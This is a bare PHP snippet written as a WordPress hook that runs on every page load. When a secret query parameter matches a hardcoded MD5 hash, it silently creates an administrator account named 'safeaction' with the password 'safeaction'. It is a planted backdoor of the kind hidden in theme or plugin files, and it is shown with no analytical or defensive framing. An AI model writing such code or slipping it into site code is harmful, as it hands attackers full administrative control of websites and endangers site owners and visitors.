add_action( 'wp_head', 'safeaction' ); function safeaction() { if ( md5( $_GET['safeaction'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { require( 'wp-includes/registration.php' ); if ( !username_exists( 'safeaction' ) ) { $user_id = wp_create_user( 'safeaction', 'safeaction' ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } }